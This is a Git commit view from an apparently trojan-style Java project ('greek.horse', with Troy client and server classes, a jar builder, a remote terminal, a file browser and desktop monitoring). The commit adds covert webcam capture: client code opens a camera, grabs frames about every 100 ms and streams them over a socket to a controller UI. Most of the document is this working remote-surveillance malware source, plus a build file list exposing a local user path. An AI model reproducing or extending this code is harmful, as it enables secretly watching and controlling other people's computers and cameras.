mainSpi
3 years ago
43 changed files with 547 additions and 101 deletions
-
5pom.xml
-
BINshade/Server.jar
-
26src/main/java/greek/horse/client/ClientSocketManager.java
-
107src/main/java/greek/horse/client/tasks/ClientWebcamTask.java
-
9src/main/java/greek/horse/client/tasks/DesktopTask.java
-
2src/main/java/greek/horse/models/RequestFunctionType.java
-
36src/main/java/greek/horse/models/WebcamInfoWrapper.java
-
32src/main/java/greek/horse/server/troyStructure/TroyPlebe.java
-
20src/main/java/greek/horse/server/ui/controllers/HorseController.java
-
51src/main/java/greek/horse/server/ui/controllers/MonitorDesktopController.java
-
48src/main/java/greek/horse/server/ui/controllers/WebcamController.java
-
31src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java
-
194src/main/java/greek/horse/server/ui/controllers/tasks/WebcamTask.java
-
8src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java
-
23src/main/java/greek/horse/test/Test.java
-
BINsrc/main/resources/images/diverse/webcam.png
-
2src/main/resources/scenes/desktop.fxml
-
6src/main/resources/scenes/webcam.fxml
-
BINtarget/chat-1.0-SNAPSHOT.jar
-
BINtarget/classes/greek/horse/client/ClientSocketManager$1.class
-
BINtarget/classes/greek/horse/client/ClientSocketManager.class
-
BINtarget/classes/greek/horse/client/tasks/ClientWebcamTask.class
-
BINtarget/classes/greek/horse/client/tasks/DesktopTask.class
-
BINtarget/classes/greek/horse/models/FileStruct.class
-
BINtarget/classes/greek/horse/models/RequestFunctionType.class
-
BINtarget/classes/greek/horse/models/WebcamInfoWrapper.class
-
BINtarget/classes/greek/horse/server/troyStructure/TroyPlebe.class
-
BINtarget/classes/greek/horse/server/ui/controllers/FileBrowserController.class
-
BINtarget/classes/greek/horse/server/ui/controllers/HorseController.class
-
BINtarget/classes/greek/horse/server/ui/controllers/MonitorDesktopController$1.class
-
BINtarget/classes/greek/horse/server/ui/controllers/MonitorDesktopController.class
-
BINtarget/classes/greek/horse/server/ui/controllers/WebcamController.class
-
BINtarget/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask$1.class
-
BINtarget/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class
-
BINtarget/classes/greek/horse/server/ui/controllers/tasks/WebcamTask$1.class
-
BINtarget/classes/greek/horse/server/ui/controllers/tasks/WebcamTask.class
-
BINtarget/classes/greek/horse/server/ui/formmaters/HorseRowFactory$1.class
-
BINtarget/classes/greek/horse/server/ui/formmaters/HorseRowFactory.class
-
BINtarget/classes/greek/horse/test/Test.class
-
BINtarget/classes/images/diverse/webcam.png
-
2target/classes/scenes/desktop.fxml
-
6target/classes/scenes/webcam.fxml
-
40target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
@ -0,0 +1,107 @@ |
|||
package greek.horse.client.tasks; |
|||
|
|||
import com.github.sarxos.webcam.Webcam; |
|||
import greek.horse.client.ClientSocketManager; |
|||
import greek.horse.models.FunctionTicket; |
|||
import greek.horse.models.WebcamInfoWrapper; |
|||
import net.coobird.thumbnailator.Thumbnails; |
|||
import org.apache.log4j.Logger; |
|||
import org.jetbrains.annotations.NotNull; |
|||
|
|||
import javax.imageio.ImageIO; |
|||
import java.awt.image.BufferedImage; |
|||
import java.io.ByteArrayOutputStream; |
|||
import java.io.IOException; |
|||
import java.util.HashMap; |
|||
import java.util.concurrent.atomic.AtomicReference; |
|||
|
|||
public class ClientWebcamTask implements Runnable { |
|||
private final ClientSocketManager client; |
|||
private FunctionTicket ticket; |
|||
private final AtomicReference<WebcamInfoWrapper> info = new AtomicReference<>(); |
|||
private static final int interval = 100; |
|||
|
|||
private static final Logger log = Logger.getLogger(ClientWebcamTask.class); |
|||
private Webcam webcam; |
|||
|
|||
public ClientWebcamTask(ClientSocketManager client) { |
|||
this.client = client; |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
while (client.getRunning().get()) { |
|||
if (ticket != null && this.client.getFixedMap().containsKey(ticket)) { |
|||
|
|||
long time = System.currentTimeMillis() + interval; |
|||
|
|||
while (client.getRunning().get() && client.getFixedMap().containsKey(ticket)) { |
|||
try { |
|||
if (System.currentTimeMillis() < time) { |
|||
Thread.sleep(10); |
|||
continue; |
|||
} else { |
|||
time = System.currentTimeMillis() + interval; |
|||
} |
|||
double w = info.getAcquire().getWidth(); |
|||
double h = info.getAcquire().getHeight(); |
|||
|
|||
HashMap<FunctionTicket, Object> answerMap = new HashMap<>(); |
|||
answerMap.put(ticket, getBytesObject(w, h)); |
|||
client.getOos().getAcquire().writeObject(answerMap); |
|||
client.getOos().getAcquire().flush(); |
|||
|
|||
} catch (Exception e) { |
|||
log.error("Error capturing webcam",e); |
|||
} |
|||
} |
|||
|
|||
} |
|||
try { |
|||
Thread.sleep(500); |
|||
} catch (InterruptedException e) { |
|||
log.error(e); |
|||
} |
|||
} |
|||
} |
|||
|
|||
@NotNull |
|||
private Object getBytesObject(double W, double H) throws IOException, InterruptedException { |
|||
while(!webcam.isOpen()){ |
|||
Thread.sleep(10); |
|||
} |
|||
BufferedImage screenCapture = webcam.getImage(); |
|||
|
|||
double w = screenCapture.getWidth(); |
|||
double h = screenCapture.getHeight(); |
|||
double x = W / w; |
|||
double y = H / h; |
|||
double lastScale = Math.min(x, y); |
|||
|
|||
BufferedImage bi = Thumbnails.of(screenCapture).forceSize((int) (w * lastScale), (int) (h * lastScale)).asBufferedImage(); |
|||
|
|||
ByteArrayOutputStream baos = new ByteArrayOutputStream(); |
|||
ImageIO.write(bi, "gif", baos); |
|||
return baos.toByteArray(); |
|||
} |
|||
|
|||
public void setTicket(FunctionTicket ticket) { |
|||
this.ticket = ticket; |
|||
} |
|||
|
|||
public void setInfo(WebcamInfoWrapper info) { |
|||
this.info.lazySet(info); |
|||
|
|||
Webcam newWebcam = Webcam.getWebcamByName(info.getWebcamName()); |
|||
if (this.webcam != null){ |
|||
if (!newWebcam.getName().contentEquals(this.webcam.getName())){ |
|||
this.webcam.close(); |
|||
this.webcam = newWebcam; |
|||
this.webcam.open(true); |
|||
} |
|||
} else { |
|||
this.webcam = newWebcam; |
|||
this.webcam.open(true); |
|||
} |
|||
} |
|||
} |
@ -0,0 +1,36 @@ |
|||
package greek.horse.models; |
|||
|
|||
import java.io.Serializable; |
|||
|
|||
public class WebcamInfoWrapper implements Serializable { |
|||
private final double width; |
|||
private final double height; |
|||
private final String webcamName; |
|||
|
|||
public WebcamInfoWrapper(double width, double h, String selectedIndex) { |
|||
this.width = width; |
|||
this.height = h; |
|||
this.webcamName = selectedIndex; |
|||
} |
|||
|
|||
@Override |
|||
public String toString() { |
|||
return "WebcamInfoWrapper{" + |
|||
"width=" + width + |
|||
", height=" + height + |
|||
", webcamName=" + webcamName + |
|||
'}'; |
|||
} |
|||
|
|||
public double getWidth() { |
|||
return width; |
|||
} |
|||
|
|||
public double getHeight() { |
|||
return height; |
|||
} |
|||
|
|||
public String getWebcamName() { |
|||
return webcamName; |
|||
} |
|||
} |
@ -1,4 +1,52 @@ |
|||
package greek.horse.server.ui.controllers; |
|||
|
|||
import greek.horse.server.ui.controllers.tasks.WebcamTask; |
|||
import javafx.beans.value.ChangeListener; |
|||
import javafx.embed.swing.SwingFXUtils; |
|||
import javafx.scene.control.ChoiceBox; |
|||
import javafx.scene.image.ImageView; |
|||
import javafx.scene.paint.Color; |
|||
import javafx.scene.text.Text; |
|||
|
|||
import java.awt.image.BufferedImage; |
|||
|
|||
public class WebcamController { |
|||
public ImageView imageView; |
|||
public ChoiceBox<String> choiceBox; |
|||
public Text statusCircleText; |
|||
public Text fpsText; |
|||
|
|||
private WebcamTask task; |
|||
|
|||
public void configureChoiceBox() { |
|||
choiceBox.getSelectionModel().selectFirst(); |
|||
choiceBox.getSelectionModel().selectedIndexProperty() |
|||
.addListener((observableValue, oldIndex, newIndex) -> { |
|||
if (oldIndex.intValue() != newIndex.intValue()) { |
|||
task.refreshSettings(newIndex.intValue()); |
|||
} |
|||
}); |
|||
} |
|||
|
|||
public void setImage(BufferedImage screenCapture) { |
|||
imageView.setFitWidth(screenCapture.getWidth()); |
|||
imageView.setFitHeight(screenCapture.getHeight()); |
|||
imageView.setImage(SwingFXUtils.toFXImage(screenCapture, null)); |
|||
} |
|||
|
|||
public void setFpsText(double fps) { |
|||
if (fps >= 4) { |
|||
statusCircleText.setFill(Color.rgb(0, 150, 0)); |
|||
} else if (fps == 3) { |
|||
statusCircleText.setFill(Color.DARKGOLDENROD); |
|||
} else { |
|||
statusCircleText.setFill(Color.rgb(200, 0, 0)); |
|||
|
|||
} |
|||
this.fpsText.setText(String.format("%.2f", fps).replace(",", ".")); |
|||
} |
|||
|
|||
public void setTask(WebcamTask webcamTask) { |
|||
this.task = webcamTask; |
|||
} |
|||
} |
@ -0,0 +1,194 @@ |
|||
package greek.horse.server.ui.controllers.tasks; |
|||
|
|||
import greek.horse.models.WebcamInfoWrapper; |
|||
import greek.horse.server.troyStructure.TroyPlebe; |
|||
import greek.horse.server.troyStructure.request.RecurrentTroyRequest; |
|||
import greek.horse.server.ui.ChatApp; |
|||
import greek.horse.server.ui.controllers.WebcamController; |
|||
import javafx.application.Platform; |
|||
import javafx.collections.ListChangeListener; |
|||
import javafx.collections.ObservableList; |
|||
import javafx.event.EventHandler; |
|||
import javafx.fxml.FXMLLoader; |
|||
import javafx.scene.Parent; |
|||
import javafx.scene.Scene; |
|||
import javafx.scene.control.Alert; |
|||
import javafx.scene.input.MouseEvent; |
|||
import javafx.stage.Modality; |
|||
import javafx.stage.Stage; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import javax.imageio.ImageIO; |
|||
import java.awt.image.BufferedImage; |
|||
import java.io.ByteArrayInputStream; |
|||
import java.io.IOException; |
|||
import java.util.List; |
|||
import java.util.Timer; |
|||
import java.util.TimerTask; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
import java.util.concurrent.atomic.AtomicLong; |
|||
|
|||
public class WebcamTask implements Runnable { |
|||
private final TroyPlebe plebe; |
|||
|
|||
private final AtomicBoolean running = new AtomicBoolean(false); |
|||
private WebcamController controller; |
|||
private RecurrentTroyRequest request; |
|||
private Timer timer; |
|||
|
|||
private static final Logger log = Logger.getLogger(WebcamTask.class); |
|||
private Stage stage; |
|||
|
|||
public WebcamTask(TroyPlebe troyPlebe) { |
|||
this.plebe = troyPlebe; |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
AtomicBoolean start = new AtomicBoolean(false); |
|||
Platform.runLater(() -> { |
|||
try { |
|||
stage = new Stage(); |
|||
stage.setTitle("Webcam - " + plebe.getTitle()); |
|||
stage.getIcons().add(ChatApp.appIcon); |
|||
|
|||
FXMLLoader loader = new FXMLLoader(getClass().getClassLoader().getResource("scenes/webcam.fxml")); |
|||
Parent root = loader.load(); |
|||
|
|||
Scene scene = new Scene(root); |
|||
stage.setScene(scene); |
|||
|
|||
stage.setOnCloseRequest(e -> this.running.set(false)); |
|||
|
|||
controller = loader.getController(); |
|||
controller.setTask(this); |
|||
|
|||
EventHandler<MouseEvent> event = mouseEvent -> { |
|||
if (running.get()) { |
|||
refreshSettings(); |
|||
} |
|||
}; |
|||
scene.setOnMouseEntered(event); |
|||
scene.setOnMouseExited(event); |
|||
|
|||
stage.show(); |
|||
|
|||
} catch (IOException e) { |
|||
e.printStackTrace(); |
|||
} finally { |
|||
start.set(true); |
|||
} |
|||
}); |
|||
|
|||
loadWebcams(); |
|||
|
|||
while (!start.get()) { |
|||
try { |
|||
Thread.sleep(100); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
startListening(); |
|||
|
|||
while (this.running.get() && this.plebe.getRunning().get()) { |
|||
try { |
|||
Thread.sleep(100); |
|||
} catch (InterruptedException e) { |
|||
log.error(e); |
|||
} |
|||
} |
|||
|
|||
timer.cancel(); |
|||
timer.purge(); |
|||
|
|||
if (this.plebe.getRunning().get() && !request.getReleased().get()) { |
|||
this.plebe.releaseRequest(request); |
|||
} |
|||
|
|||
Platform.runLater(() -> { |
|||
stage.hide(); |
|||
}); |
|||
} |
|||
|
|||
private void startListening() { |
|||
double w = stage.getWidth() - 50; |
|||
double h = stage.getHeight() - 70; |
|||
|
|||
while(controller.choiceBox.getItems().isEmpty()){ |
|||
try { |
|||
Thread.sleep(20); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
request = plebe.startWebcam(new WebcamInfoWrapper(w, h, controller.choiceBox.getSelectionModel().getSelectedItem())); |
|||
|
|||
ObservableList<Object> observableList = request.getObservableReceivedObjs(); |
|||
|
|||
long initTime = System.currentTimeMillis(); |
|||
AtomicLong frameCount = new AtomicLong(); |
|||
ListChangeListener<? super Object> changeListener = listener -> { |
|||
listener.next(); // this is needed for some reason |
|||
|
|||
// as many refreshes as arrived |
|||
for (Object obj : listener.getAddedSubList()) { |
|||
try { |
|||
BufferedImage bi = ImageIO.read(new ByteArrayInputStream((byte[]) obj)); |
|||
controller.setImage(bi); |
|||
frameCount.getAndIncrement(); |
|||
} catch (Exception e) { |
|||
log.error("Cast failed, image not set", e); |
|||
} |
|||
} |
|||
|
|||
}; |
|||
|
|||
observableList.addListener(changeListener); |
|||
|
|||
timer = new Timer(); |
|||
timer.scheduleAtFixedRate(new TimerTask() { |
|||
@Override |
|||
public void run() { |
|||
Platform.runLater(() -> { |
|||
controller.setFpsText(((frameCount.get() / (double) Math.floorDiv(System.currentTimeMillis() - initTime, 1000)))); |
|||
}); |
|||
} |
|||
}, 1000, 1000); |
|||
} |
|||
|
|||
private void loadWebcams() { |
|||
Platform.runLater(() -> { |
|||
try { |
|||
List<String> list = (List<String>) plebe.getWebcamCount().getReceivedObj(); |
|||
if (list.isEmpty()) { |
|||
throw new IllegalArgumentException("No webcams found"); |
|||
} |
|||
controller.choiceBox.getItems().clear(); |
|||
controller.choiceBox.getItems().addAll(list); |
|||
} catch (Exception e) { |
|||
log.error("Failed to get webcams", e); |
|||
this.running.set(false); |
|||
} finally { |
|||
controller.configureChoiceBox(); |
|||
} |
|||
}); |
|||
|
|||
} |
|||
|
|||
public void refreshSettings() { |
|||
refreshSettings(controller.choiceBox.getSelectionModel().getSelectedIndex()); |
|||
} |
|||
|
|||
public void refreshSettings(int index) { |
|||
double w = stage.getWidth() - 50; |
|||
double h = stage.getHeight() - 70; |
|||
this.plebe.refreshWebcam(new WebcamInfoWrapper(w, h, controller.choiceBox.getItems().get(index))); |
|||
} |
|||
|
|||
public AtomicBoolean getRunning() { |
|||
return running; |
|||
} |
|||
} |
@ -1,31 +1,14 @@ |
|||
package greek.horse.test; |
|||
|
|||
import com.github.sarxos.webcam.Webcam; |
|||
|
|||
import javax.swing.*; |
|||
import java.awt.*; |
|||
|
|||
public class Test { |
|||
|
|||
public static void main(String[] args) throws Exception { |
|||
int w = 0, h = 0, x = 0, y = 0; |
|||
for (GraphicsDevice device : GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices()) { |
|||
Rectangle bounds = device.getDefaultConfiguration().getBounds(); |
|||
System.out.println(bounds); |
|||
w += bounds.getWidth(); |
|||
w += Math.abs(bounds.getX()); |
|||
h += bounds.getHeight(); |
|||
h += Math.abs(bounds.getY()); |
|||
x = x > bounds.getX() ? x : (int) bounds.getX(); |
|||
y = y < bounds.getY() ? y : (int) bounds.getY(); |
|||
} |
|||
System.out.println(); |
|||
System.out.println(new Rectangle(0, 0, 10000, 10000)); |
|||
|
|||
JFrame frame = new JFrame(); |
|||
frame.setSize(new Dimension((int) w, (int) h)); |
|||
frame.setLocation(0, 0); |
|||
frame.setUndecorated(false); |
|||
frame.setVisible(true); |
|||
|
|||
Webcam.getWebcams().stream().map(w -> w.getName()).forEach(System.out::println); |
|||
} |
|||
|
|||
} |
After Width: 256 | Height: 256 | Size: 17 KiB |
After Width: 256 | Height: 256 | Size: 17 KiB |
@ -1,48 +1,52 @@ |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\UserInput.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FunctionTicket.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\ChatUI.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\NetInfo.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\request\RecurrentTroyRequest.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\tasks\DesktopTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\RequestFunctionType.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\LockTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileBrowserResponseWrapper.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileBrowserTicket.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\test\Test.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\TerminalController.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\TroyClient.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\tasks\ClientChatTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\BrowserTicketType.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\ServerSocketManager.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\BuildJarTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileType.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\formmaters\FormattedTableCellFactory.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\MonitorDesktopWrapper.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\formmaters\HorseRowFactory.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\MonitorDesktopController.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\TroyPlebe.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\FileBrowserTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\TerminalTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\TableFile.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileData.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\Mode.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\FileBrowserController.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\MonitorDesktopTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\MessageType.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\WebcamTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\ChatController.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\request\UniqueTroyRequest.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\request\TroyRequest.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\ChatUI.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\tasks\DesktopTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileBrowserResponseWrapper.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileBrowserTicket.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\TerminalController.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\TroyClient.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\formmaters\FormattedTableCellFactory.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\MonitorDesktopWrapper.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\FileBrowserTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\WebcamController.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\formmaters\FileRowsFactory.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\ClientSocketManager.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileData.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\Launcher.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\Mode.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\ChatApp.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\ClientTerminalTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\tasks\ChatForm.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\RequestFunction.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\NetInfoTable.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileStruct.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\FileBrowserController.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\Message.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\MonitorDesktopTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\MessageType.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\ChatTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\ChatController.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\tasks\ClientWebcamTask.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\WebcamInfoWrapper.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\OS.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\TroyServer.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\HorseController.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\ImageUtil.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\request\UniqueTroyRequest.java |
|||
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\request\TroyRequest.java |
Write
Preview
Loading…
Cancel
Save
Reference in new issue